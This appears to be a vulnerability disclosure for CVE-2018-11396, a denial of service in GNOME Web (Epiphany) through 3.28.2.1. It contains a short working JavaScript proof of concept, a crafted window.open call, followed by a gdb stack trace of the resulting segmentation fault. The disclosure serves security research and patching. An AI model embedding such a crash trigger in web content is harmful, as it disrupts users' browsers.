Summary:
ephy-session.c in libephymain.so in GNOME Web (aka Epiphany) through 3.28.2.1 allows remote attackers to cause a denial of service (application crash) via JavaScript code that triggers access to a NULL URL, as demonstrated by a crafted window.open call, CVE-2018-11396 was assigned to this issue.
PoC:
<script>
win = window.open("hello world");
</script>
Stack trace:
ftw@ftw-box:~$ gdb epiphany
(gdb) run
Starting program: /usr/bin/epiphany
[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".[New Thread 0x7fffe08bc700 (LWP 2279)][New Thread 0x7fffdee51700 (LWP 2280)][New Thread 0x7fffde650700 (LWP 2281)][New Thread 0x7fffdcdd5700 (LWP 2282)][New Thread 0x7fffd7fff700 (LWP 2283)][New Thread 0x7fffd77fe700 (LWP 2284)][New Thread 0x7fffd6ffd700 (LWP 2285)][New Thread 0x7fffd67fc700 (LWP 2286)][New Thread 0x7fffd5b8c700 (LWP 2287)][New Thread 0x7fffd538b700 (LWP 2288)][New Thread 0x7fff8f486700 (LWP 2294)][New Thread 0x7fff8da1e700 (LWP 2304)][New Thread 0x7fff8d21d700 (LWP 2305)][New Thread 0x7fff8ea7f700 (LWP 2315)][Thread 0x7fffd5b8c700 (LWP 2287) exited][Thread 0x7fffd67fc700 (LWP 2286) exited]
Thread 15 "pool" received signal SIGSEGV, Segmentation fault.[Switching to Thread 0x7fff8ea7f700 (LWP 2315)]
0x00007ffff7b75db7 in ?? ()from/usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
(gdb) bt
#00x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so#10x00007ffff7079be6 in ?? () from /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0#20x00007ffff73fe7d0 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0#30x00007ffff73fde05 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0#40x00007fffefc246db in start_thread (arg=0x7fff8ea7f700) at pthread_create.c:463#50x00007ffff5e4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95(gdb)
